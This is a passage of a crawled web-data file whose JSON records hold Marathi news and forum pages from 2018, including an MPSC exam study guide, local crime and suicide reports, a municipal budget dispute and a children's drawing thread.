नागरिकांच्या फायद्याचाच ठरणार असून जास्तीस जास्त नागरिकांनी येथे भेट देऊन आंबा खरेदी करावे असे आवाहन केले.\nTags: bjpPCLIVE7.COMPcmc newsआंबा महोत्सवआमदारनगरसेविकानिर्मला कुटेपिंपळे सौदागरलक्ष्मण जगताप\nनगरसेवक बाळासाहेब ओव्हाळांना मनसेची ‘ऑफर’\nपिंपरी चिंचवडकरांना ‘अच्छे दिन’च्या झळा; पार्किंग पॉलिसीच्या नावाखाली जीझिया कर वसूली होणार – सचिन साठे\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00289.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://www.loksatta.com/careervrutant-lekh-news/mpsc-psi-sti-aso-common-exam-1662399/", "date_download": "2018-09-25T17:14:23Z", "digest": "sha1:QOJOADR5AARMHGBKZKBFHMKLN2MU6TEC", "length": 18161, "nlines": 213, "source_domain": "www.loksatta.com", "title": "MPSC PSI STI ASO Common Exam | एमपीएससी मंत्र : PSI, STI, ASO साठीच्या संयुक्त पूर्व परीक्षेचा अभ्यास | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\nएमपीएससी मंत्र : PSI, STI, ASO साठीच्या संयुक्त पूर्व परीक्षेचा अभ्यास\nएमपीएससी मंत्र : PSI, STI, ASO साठीच्या संयुक्त पूर्व परीक्षेचा अभ्यास\nअभ्यासाचे नियोजन करताना सर्वप्रथम मागील वर्षीच्या प्रश्नपत्रिकांचे विश्लेषण करणे आवश्यक आहे.\nमहाराष्ट्र दुय्यम सेवा संयुक्त पूर्व परीक्षा १३ मे २०१८ रोजी प्रस्तावित आहे. या परीक्षेचे अभ्यास नियोजन कसे असावे याबाबत या लेखामध्ये चर्चा करण्यात येत आहे.\nसहाय्यक कक्ष अधिकारी, राज्य कर निरीक्षक व पोलीस उपनिरीक्षक या पदांवरील भरती करता पूर्वी आयोगाकडून स्वतंत्र जाहिरात, स्वतंत्र अर्ज व स्वतंत्र पूर्व परीक्षा घेतल्या जात होत्या. राज्य लोकसेवा आयोगाच्या नव्या योजनेनुसार या तिन्ही पदांसाठी सन २०१७ पासून संयुक्त पूर्व परीक्षा आयोजिली जाते. या संयुक्त पूर्व परीक्षेसाठी अर्ज करणाऱ्या उमेदवारांकडून ते यापकी एक, दोन किंवा तिन्ही पदांसाठी बसू इच्छितात का असा विकल्प देण्यात येतो. ज्या आणि जेवढय़ा पदाकरिता उमेदवारांनी विकल्प दिलेला असेल त्या सर्व पद भरतीसाठी हा एकच अर्ज विचारात घेण्यात येतो. पण प्रत्येक पदासाठीचा या संयुक्त पूर्व परीक्षेचा निकाल वेगवेगळा घोषित करण्यात येतो. प्रत्येक पदासाठी भरायच्या जागांची संख्या वेगळी असल्याने त्या आधारावर त्या पदाच्या मुख्य परीक्षेसाठी पात्र करावयाच्या उमेदवारांची संख्या ठरविण्यात येते. ही संख्या लक्षात घेऊन संयुक्त पूर्व परीक्षेचा या तीन पदांकारिता स्वतंत्र निकाल जाहीर करण्यात येतो.\nअभ्यासाचे नियोजन करताना सर्वप्रथम मागील वर्षीच्या प्रश्नपत्रिकांचे विश्लेषण करणे आवश्यक आहे. पण अशा संयुक्त पूर्व परीक्षेचे हे दुसरेच वर्ष आहे. PSI, STI U Assistant (ASO) या तिन्ही पदांसाठी घेतल्या जाणाऱ्या पूर्व परीक्षेचे स्वरूप आणि अभ्यासक्रम समानच असल्यामुळे या पदांसाठी सन २०१४पासून झालेल्या सर्व पूर्व परीक्षांच्या प्रश्नपत्रिका आणि गेल्या वर्षीची संयुक्त पूर्व परीक्षा यांच्या प्रश्नपत्रिकांचे विश्लेषण तयारीला दिशा मिळण्यासाठी उपयोगी पडेल. जुन्या प्रश्नपत्रिकांचे विश्लेषण करताना प्रत्येक प्रश्न वाचून त्याबाबत काही मंथन करणे आवश्यक आहे. हा प्रश्न का विचारला आहे; तो अभ्यासक्रमाच्या कोणत्या घटकावर आधारित आहे; त्यातील मुद्दे अभ्यासक्रमातील दुसऱ्या कोणत्या घटकांशी संबंधित आहेत का आणि या घटकाच्या कोणकोणत्या पलूंवर प्रश्न विचारता येतील यावर विचार करायला हवा. या विश्लेषणाच्या आधारावर अभ्यासक्रमाच्या कोणत्या भागावर किती आणि कशा स्वरूपाचे प्रश्न आले आहेत ते समजून घेणे आणि\nयाबाबत आयोगाच्या अपेक्षा समजून घेणे शक्य होते. त्या आधारे अभ्यासक्रमातील कोणत्या घटकावर जास्त भर द्यायचा, कोणत्या घटकावर कमी कष्ट घेतलेले चालतील याचा अंदाज येते आणि अभ्यासाची दिशा व नियोजन निश्चित करता येते. या दृष्टीने राष्ट्रचेतना प्रकाशनाचे दुय्यम सेवा अभ्यास प्रश्नपत्रिका हे पुस्तक विश्लेषण आणि सराव दोन्हीसाठी उपयुक्त ठरेल.\nया परीक्षेच्या उत्तर पत्रिकांचे मूल्यांकन करताना उत्तरपत्रिकेत नमूद केलेल्या योग्य उत्तरांनाच गुण दिले जातात व प्रत्येक चार चुकीच्या उत्तरामागे एका प्रश्नाचे गुण एकूण गुणांमधून वजा करण्यात येतात. प्रत्येक पदासाठी उपलब्ध एकूण पदसंख्येच्या सुमारे आठ पट उमेदवार मुख्य परीक्षेसाठी पात्र होतील अशा रीतीने पूर्व परीक्षेच्या गुणांची सीमारेषा निश्चित करण्यात येते. या सीमा रेषेवर ज्या विद्यार्थ्यांचे एकूण गुण असतील त्यांना मुख्य परीक्षेसाठी प्रवेश मिळतो.\nचालू घडामोडी- जागतिक तसेच भारतातील\nनागरिकशास्त्र – भारताच्या घटनेचा प्राथमिक अभ्यास, राज्य व्यवस्थापन (प्रशासन), ग्राम व्यवस्थापन (प्रशासन)\nइतिहास – आधुनिक भारताचा विशेषत महाराष्ट्राचा इतिहास\nभूगोल – (महाराष्ट्राच्या भूगोलाच्या विशेष अभ्यासासह) पृथ्वी, जगातील विभाग, हवामान, अक्षांश-रेखांश, महाराष्ट्रातील जमिनीचे प्रकार, पर्जन्यमान, प्रमुख पिके, शहरे, नद्या, उद्योगधंदे इत्यादी\nअर्थव्यवस्था – भारतीय अर्थव्यवस्था – राष्ट्रीय उत्पन्न, शेती, उद्योग, परकीय व्यपार, बँकिंग, लोकसंख्या, दारिद्रय़ व बेरोजगारी, मुद्रा आणि राजकोषीय नीति इत्यादी\nसामान्यविज्ञान – भौतिकशास्त्र (Physics), रसायनशास्त्र (Zoology), प्राणीशास्त्र (Zoology), वनस्पतीशास्त्र (Botany), आरोग्यशास्त्र (health)\nबुद्धिमापन चाचणी व अंकगणित – बुद्धिमापन चाचणी – उमेदवार किती लवकर व अचूकपणे विचार करू शकतो हे आजमावण्यासाठी प्रश्न अंकगणित – बेरीज, वजाबाकी, गुणाकर, भागाकार, दशांश, अपूर्णाक व टक्केवारी\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nअभियंता तरुणीचा विनयभंग; तक्रार घेण्यास हिंजवडी पोलिसांची टाळाटाळ\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nAsia Cup 2018 Ind vs Afg Live : भारताला पहिला धक्का, रायडू माघारी\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00289.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.pudhari.news/news/Satara/couple-sucide-in-satara/", "date_download": "2018-09-25T16:58:15Z", "digest": "sha1:4KQLPYISRDXBECIVQZEHF23XFC7PIPSO", "length": 7027, "nlines": 39, "source_domain": "www.pudhari.news", "title": " मिठी मारून रेल्वेखाली प्रेमी युगुलाची आत्महत्या | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Satara › मिठी मारून रेल्वेखाली प्रेमी युगुलाची आत्महत्या\nमिठी मारून रेल्वेखाली प्रेमी युगुलाची आत्महत्या\nसातारा / शिवथर : प्रतिनिधी\nबसापाचीवाडी ता.सातारा येथील प्रेमीयुगुलाने एकमेकांना मिठी मारुन रेल्वेखाली आत्महत्या केली. शिवथर हद्दीत घडलेल्या या घटनेने खळबळ उडाली. अनिल चव्हाण (वय 28) व पूजा शिंदे (वय 17) अशी या युगुलाची नावे आहेत.\nयाबाबत मिळालेली माहिती अशी, अनिल व पूजा या दोघांचे एकमेकांवर प्रेम होते. बुधवारी ते दोघेही दुचाकीवरुन शिवथर गावच्या हद्दीतील रेल्वे ट्रॅकवर गेले होते. पहाटेच्या सुमारास दोघेही एकमेकांना मिठी मारुन रेल्वे रुळावर झोपले. याच दरम्यान आलेल्या रेल्वेने दोघांना सुमारे 200 मीटर अंतरापर्यंत फरफटत व चिरडत नेले. त्यांचे शरीर छिन्‍न विछन्‍न झाले.\nपरिसरातील रेल्वे गेटच्या वॉचमनला रेल्वे ट्रॅकलगत दोन मृतदेह निदर्शनास आले. त्यांनी तत्काळ या घटनेची माहिती रेल्वे प्रशासनाला दिली. रेल्वे पोलिस व सातारा तालुका पोलिस घटनास्थळी पोहचल्यानंतर प्रथम दोघांची ओळख पटवण्यात आली. अनिल हा सध्या सातारा येथे एका वाहनाच्या शोरुममध्ये कामाला होता तर पूजा दहावीमध्ये शिकत होती. धक्‍कादायक बाब म्हणजे अनिल याचा विवाह झाला आहे. पुढील तपास पोनि प्रदीप जाधव यांच्या मार्गदर्शनाखाली पोलिस हवालदार दिपक बर्गे करत आहेत.\nबुधवारी रात्रीच झाले पसार...\nअनिल व पूजा या दोघांनी आयुष्य संपवण्याचा निर्णय घेतल्यानंतर त्यांनी प्लॅन केला. बुधवारी मध्यरात्रीच्या सुमारास सर्वजण झोपले असतानाच हे दोघेही (क्र. एमएच 11 बीझेड 2083) या दुचाकीवरुन गावातून बाहेर पडले. दोघांनी शिवथर - पाडळी रस्त्यावरील रेल्वेरुळ गाठला. शिवथर गावच्या हद्दीतील रेल्वे गेट नंबर 8 वर दोघेही एकमेकांना मिठी मारुन रुळावरच झोपी गेले. पहाटेच्या सुमारास रेल्वे आल्यानंतर त्याखाली चिरडून गेले असल्याची शक्यता पोलिसांनी वर्तवली आहे.\nदीड वर्षांपूर्वी अनिलचा झालाय विवाह..\nअनिल चव्हाण याचा सुमारे दीड वर्षांपूर्वी विवाह झाला असल्याची माहिती समोर आली असून त्याची पत्नी गर्भवती आहे. अनिल व पूजाचे प्रेमसंबंध असल्याने ते एकमेकांशिवाय राहू शकत नव्हते. त्यातूनच दोघांनी जीवन संपवण्याचा निर्णय घेतला असल्याची परिसरात चर्चा आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00290.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Solapur/The-Commissioner-demanded-to-send-the-budget-to-the-general-meeting/", "date_download": "2018-09-25T17:04:28Z", "digest": "sha1:WIOHTOT5DFQ4P7E54X6K4WMYA4TIVE4V", "length": 8901, "nlines": 52, "source_domain": "www.pudhari.news", "title": " स्थायी समिती सभापतीप्रकरणी ‘तारीख पे तारीख’ | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Solapur › स्थायी समिती सभापतीप्रकरणी ‘तारीख पे तारीख’\nस्थायी समिती सभापतीप्रकरणी ‘तारीख पे तारीख’\nमहापालिका स्थायी समिती सभापतीपदाच्या निवडणुकीप्रकरणी उच्च न्यायालयाने पुन्हा तारीख दिल्याने ‘तारीख पे तारीख’चा सिलसिला कायम आहे. आता पुढील सुनावणी 3 एप्रिल रोजी होणार आहे. दरम्यान, याप्रकरणामुळे बजेट लांबू नये म्हणून मनपा पदाधिकार्‍यांनी आयुक्तांना बजेट सर्वसाधारण सभेकडे पाठविण्याची मागणी केली आहे.\nस्थायी समिती सभापतीपदाची निवडणूक अनेक कारणांमुळे वादग्रस्त ठरली आहे. या पदासाठी अर्ज भरतेवेळी भाजपमध्ये बंडखोरीचे नाट्य घडले. यावेळी बंडखोराचा अर्ज पळविण्याचा प्रकार घडला. तदनंतर भाजपच्या अधिकृत उमेदवाराचा अर्ज भरतेवेळीदेखील याच प्रकाराची पुनरावृत्ती झाली होती. शिवसेनेने अर्ज भरण्याची वेळ संपल्याचे सांगत भाजपला उमेदवारी अर्ज भरण्यापासून रोखले होते. या प्रकरणी विभागीय आयुक्तांना तक्रार गेल्यानंतर त्यांनी सुरुवातीला पीठासीन अधिकार्‍यांना योग्य निर्णय द्या, असे आदेश दिले होते. तद्नंतर काही वेळेतच त्यांची निवडणूक प्रक्रिया रद्द करुन फेरनिवडणूक घेण्याचा सुधारित आदेश काढला होता. या आदेशाविरोधात शिवसेनेने उच्च न्यायालयात धाव घेतली. याप्रकरणी न्यायालयाने सुरूवातीला 19 मार्च रोजी सुनावणी घेण्याची तारीख दिली होती. 19 मार्च रोजी विभागीय अधिकार्‍यांच्या वकिलांनी तारीख वाढवून देण्याची मागणी केल्यावर ती मान्य करीत न्यायालयाने 26 मार्च रोजी पुढील सुनावणी जाहीर केली होती. सोमवारी याप्रकरणी मनपाच्या वकिलांनी तारीख वाढवून देण्याची मागणी केली. न्यायालयाने ही मागणी मान्य करीत 3 एप्रिल रोजी सुनावणी ठेवली आहे. वारंवार तारीख पडत असल्याने ‘तारीख पे तारीख’चा सिलसिला कायम असल्याचे दिसून येत आहे.\nबजेट थेट सर्वसाधारण सभेत\nसभापतीपदाच्या वादामुळे मनपाचे बजेट लांबत चालले आहे. सोमवारी याप्रकरणी पुढील तारीख पडल्याने मनपाच्या पदाधिकार्‍यांनी बीपीएमसी अ‍ॅक्ट 35 अ नुसार मनपाचे बजेट प्रशासनाने थेट मनपा सर्वसाधारण सभेकडे पाठविण्याची विनंती आयुक्तांकडे केली आहे. महापौर शोभा बनशेट्टी, उपमहापौर शशिकला बत्तुल, सभागृहनेते संजय कोळी, नगरसेवक प्रभाकर जामगुंडे यांनी आयुक्तांना भेटून ही मागणी केली. यावर आयुक्तांनी नगरसचिवांना सूचना देऊन प्रशासनाच्या बजेटचा प्रस्ताव मनपा सभेकडे पाठविण्यास सांगितले. बजेटबाबत विरोधकांना विश्‍वासात घेण्याच्यादृष्टीने 28 मार्च रोजी सर्वपक्षीय गटनेत्यांची बैठक महापौरांनी बोलाविली आहे.\nछ. कल्पनाराजे भोसले यांची जमीन बनावट खरेदी दस्त करून लाटल्याप्रकरणी गुन्हा\nरिधोरेत घरफोडी; पावणेदोन लाखांचा ऐवज लंपास\nडॉक्टर मुलाचे अपहरण करुन ठार मारण्याची धमकी; चौघांवर गुन्हा दाखल\nसर्व्हिस सेंटरला आग : लाखोंचे नुकसान\nनेहरु व सावित्रीबाई वसतिगृहांतील विद्यार्थ्यांची हजाराने भाडेवाढ होणार\nपैसे घेऊन चारचाकी गाडी दिलीच नाही; तिघांविरुद्ध फसवणुकीचा गुन्हा\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00290.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://www.maayboli.com/node/45122", "date_download": "2018-09-25T17:16:34Z", "digest": "sha1:IANYFUQZM35ZPKFJBBPEIAUQ6NY4RNPN", "length": 8337, "nlines": 165, "source_domain": "www.maayboli.com", "title": "गणराज 'रंगी' नाचतो - प्राजक्ता३० - श्रीया | Maayboli", "raw_content": "\nमायबोलीचे मोबाईल अ‍ॅप (अँड्रोईड + आयओएस) सर्वांसाठी उपलब्ध आहे.\nYou are here: मुख्यपृष्ठ /गणराज 'रंगी' नाचतो - प्राजक्ता३० - श्रीया\nगणराज 'रंगी' नाचतो - प्राजक्ता३० - श्रीया\nपाल्याचे नाव : श्रीया\nमाध्यम : रंगीत पेन्सिल्स\nमस्त रंगवलंय श्रीया. छान\nएवढी लहान मुले एवढे छान छान\nएवढी लहान मुले एवढे छान छान कसे रंगवू शकतात....\nअगदी सुंदर रंगवलेयस श्रीया.. शाब्बास\nश्रीया, किती सुंदर रंगवलंय\nश्रीया, किती सुंदर रंगवलंय\nअरे गणराज डीजे , भारीच की ,\nअरे गणराज डीजे , भारीच की , मस्त श्रीया \nछान रंगवलय श्रीया. सगळ्या\nछान रंगवलय श्रीया. सगळ्या बारकाव्यांसह \nखूप मस्त रंगवलं आहे \nखूप मस्त रंगवलं आहे \nहे, रिया. बाप्पा, उंदीर तर\nहे, रिया. बाप्पा, उंदीर तर मस्तच रंगवलेत... पण ती डिज्जे वरची बटणं कस्ली रंगेबीरंगी...\nसगळ्यांनी लिहीलेल्या प्रतिक्रीया श्रीयाला वाचून दाखवल्या, तिला खूप आनंद झाला आणि तिने सगळ्यांना थँक्स म्हटले आहे.\nएकदम स्मार्ट डीजे बाप्पा\nएकदम स्मार्ट डीजे बाप्पा दिसतोय श्रीयाचा.\nसहा वर्षांच्या मानानं हातावर\nसहा वर्षांच्या मानानं हातावर चांगलीच पकड आहे. एकदाही रंग बाहेर गेलेला नाहीये. शाब्बास श्रीया\nसगळ्यांनी भरभरून केलेल्या कौतुकाबद्दल धन्यवाद.\nइतक्या छान प्रश्स्तीपत्रकाबद्दल संयोजक आणि मायबोलीचेही आभार.\nनवीन खाते उघडून मायबोलीकर व्हा\nनवीन परवलीचा शब्द मागवा\nया ग्रूपचे सभासद व्हा\nस्थापना : गणेश चतुर्थी, सप्टेंबर १६, १९९६. प्रताधिकार १९९६-२०१८ मायबोली. सर्व हक्क स्वाधीन. वापराचे/वावराचे नियम\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00290.warc.wet.gz", "language": "mr", "language_score": 0.68, "bucket": "all"} {"url": "http://www.pudhari.news/news/Kolhapur/Three-abducted-for-ransom-and-three-youths-arrested-by-Yogesh-Rane/", "date_download": "2018-09-25T16:51:04Z", "digest": "sha1:AZOAO7TMUJJI46IDTLHJHWNPDOE6TAD2", "length": 8615, "nlines": 42, "source_domain": "www.pudhari.news", "title": " खंडणीसाठी अपहरण, मारहाण योगेश राणेसह तिघांना अटक | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Kolhapur › खंडणीसाठी अपहरण, मारहाण योगेश राणेसह तिघांना अटक\nखंडणीसाठी अपहरण, मारहाण योगेश राणेसह तिघांना अटक\n25 लाख रुपयांच्या खंडणीसाठी कमिशन एजंट विजय निवृत्ती कांबळे (वय 38, रा. निगवे खालसा. ता करवीर) यांचे कळंबा येथून अपहरण करून अमानुष मारहाण करणार्‍या शाहूपुरीतील सराईत टोळीचा म्होरक्या योगेश बाळासाहेब राणे (34, रा. पाचवी गल्ली, शाहूपुरी) सह तिघा संशयितांच्या शनिवारी पोलिसांनी मुसक्या आवळल्या. दहशतीच्या धाकावर कांबळे यांच्या पत्नीकडून 78 हजार 500 रुपये उकळल्याचे उघड झाले आहे.\nराणेसह आकाश आनंदा आगलावे (25, न्हाव्याचीवाडी, ता. भुदरगड), मारुती मधुकर कांबळे (29, निगवे खालसा, ता. करवीर) अशी अटक केलेल्यांची नावे आहेत. योगेश राणे टोळीचा म्होरक्या असून, त्याच्यासह साथीदारांविरुद्ध खुनाचा प्रयत्न, बेकायदा शस्त्रे कब्जात बाळगून दहशत माजविणे, दरोडा, फसवणुकीसह जुगाराचे 13 गुन्हे दाखल आहेत, असे पोलिस उपअधीक्षक डॉ. प्रशांत अमृतकर, राजवाडा पाोलिस ठाण्याचे निरीक्षक अनिल गुजर यांनी सांगितले.\nदि. 30 एप्रिल 2018 मध्ये ही घटना घडली होती. संशयितांनी अमानुष मारहाण केल्याने कांबळे गंभीर जखमी झाले होते. संशयितांच्या दहशतीमुळे पती, पत्नीवर भीतीचे सावट होते. पोलिसांनी दाम्पत्याला धीर दिल्यानंतर कांबळे यांनी योगेश राणेसह आठजणांविरुद्ध दि. 3 जूनला राजवाडा पोलिस ठाण्यात फिर्याद दाखल केली आहे.\nन्यायालयाने संशयितांना पाच दिवसांची पोलिस कोठडी दिली आहे. टोळीतील फरारी पाच साथीदारांचा शोध घेण्यात येत आहे. विजय कांबळे हे इस्टेट एजंटासह विविध बँका व वित्तीय संस्थांकडून गरजूंना कमिशनवर कर्जप्रकरणे करून देतात. राणे टोळीतील संशयित मारुती कांबळे याच्याशी त्यांची पूर्वी भागीदारी होती. तथापि, अलीकडच्या काळात त्यांच्यात बिनसले आहे. योगेश राणे व साथीदारांना हाताशी धरून विजय कांबळेकडून 25 लाख रुपयांच्या खंडणीसाठी अपहरण, अमानुष मारहाणीचा कटही मारुती कांबळे याने रचल्याचे चौकशीत उघड झाले.\nदि. 30 एप्रिलला सायंकाळी संशयितांनी विजय कांबळे यांच्याशी संपर्क साधून कर्जप्रकरणाच्या निमित्ताने कळंबा येथील साई मंदिराजवळ बोलावून घेतले व त्यांचे अपहरण केले. 25 लाखांच्या खंडणीची विजय कांबळे यांच्याकडे मागणी करण्यात आली. संशयितांनी त्यांना मोटारीतच बेदम मारहाण केली.\nदागिने गहाण टाकून 78 हजार रुपये उकळले\nदरम्यानच्या काळात संशयितांनी कांबळे यांना पत्नी मेघा यांच्याशी संपर्क साधण्यास भाग पाडले. घरात ठेवण्यात आलेली पाच हजारांची रक्कम तसेच दागिने गहाण ठेवून आलेली 78 हजार 500 रुपयांची रोकडही संशयितांनी उकळली.\nपोलिस अधीक्षक संजय मोहिते यांना घटनेची माहिती मिळताच त्यांनी पोलिस उपअधीक्षक डॉ. अमृतकर, निरीक्षक गुजर यांना चौकशीचे आदेश दिले.\nराणेसह तीनही संशयितांकडे रात्री उशिरापर्यंत चौकशी करण्यात येत होती. गुन्ह्यात वापरलेल्या दोन मोटारी हस्तगत करण्यात आल्या आहेत, असेही गुजर यांनी सांगितले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00291.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Kolhapur/kolhapur-zilla-parishad-Pradhanmantri-Awas-Yojana/", "date_download": "2018-09-25T16:57:23Z", "digest": "sha1:EM6AHQIAKAK6HTRXGWTRXCC4YTADST6O", "length": 9706, "nlines": 37, "source_domain": "www.pudhari.news", "title": " मागणी लाखात, मंजुरी शेकड्यात..! | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Kolhapur › मागणी लाखात, मंजुरी शेकड्यात..\nमागणी लाखात, मंजुरी शेकड्यात..\nकोल्हापूर : विकास कांबळे\nआपल्या हक्‍काचा निवारा असावा असे सर्वांनाच वाटत असते, पण सध्याच्या परिस्थितीत हक्‍काच्या घराचे स्वप्न सर्वांचेच पूर्ण होऊ शकत नाही. अशा लोकांना त्यांना हक्‍काचा निवारा देण्यासाठी शासनाने सुरू केलेल्या प्रधानमंत्री आवास योजनेत घरकुलासाठी आलेल्या अर्जांची संख्या दीड लाखाच्या घरात आहे. मात्र, मंजुरी मिळणार्‍या प्रस्तावांची संख्या शेकड्यात आहे. अनेक लाभार्थी घराच्या प्रतीक्षेत आहेत.\nदरम्यान, यावर्षी खुल्या प्रवर्गातील केवळ 523 लाभार्थ्यांचे प्रस्ताव मंजूर केले आहेत. डिसेंबरअखेर यात वाढ होण्याची शक्यता असल्याचे सांगण्यात आले. बेघरांसाठी शासनाच्या वतीने पूर्वी इंदिरा आवास योजना, रमाई योजना, वाल्मिकी आवास योजना आदी नावाने घरकूल योजना राबविण्यात येत होत्या. आता प्रधानमंत्री आवास योजना या नावाने ही योजना सुरू आहे. पूर्वी घरकुलासाठी लाभार्थ्यांकडून ग्रामपंचायतींमार्फत प्रस्ताव मागितले जायचे. त्यामुळे त्याच्या प्रस्तावातील उणिवा दूर करूनच ग्रामपंचायत घरकुलाचे प्रस्ताव पंचायत समितीला सादर करत असत. या नियमात नव्या सरकारने बदल केला आणि लाभार्थी ठरविण्याचे अधिकार शासनाने आपल्याकडे घेतले. 2011-12 मध्ये सामाजिक, आर्थिक सर्वेक्षण करण्यात आले होते. या सर्वेक्षणात व्यक्‍तींची घराबाबतही माहिती घेण्यात आली होती. त्याच्या आधारेे शासनाने 2015-16 मध्ये घरकुलासाठी लाभार्थ्यांची नावे निश्‍चित केली. यामध्ये 32 हजार 926 लाभार्थी निश्‍चित करण्यात आले. त्यातील साधारणपणे निम्मे लाभार्थी पात्र ठरले. त्यापैकी आतापर्यंत साधारणपणे साडेपाच हजार जणांना लाभ देण्यात आला.\nशासनाच्या या यादीबाबत तक्रारी सुरू झाल्या. नियमात बसत असतानाही जाणीवपूर्वक आपली नावे यादीतून वगळण्यात आल्याचे आरोप होऊ लागले. त्यामुळे शासनाने बेघर असणार्‍या, पण यादीत नाव नसणार्‍या व्यक्‍तींकडून अर्ज स्वीकारण्यास शासनाने परवानगी दिली. त्यानुसार 15 ऑगस्टपर्यंत जिल्ह्यातून 1 लाख 51 हजार 112 बेघर लोकांनी अर्ज सादर केले आहेत. त्यापैकी 1 लाख 36 हजार 855 अर्ज ग्रामसभेच्या मंजुरीने आले आहेत. 14 हजार 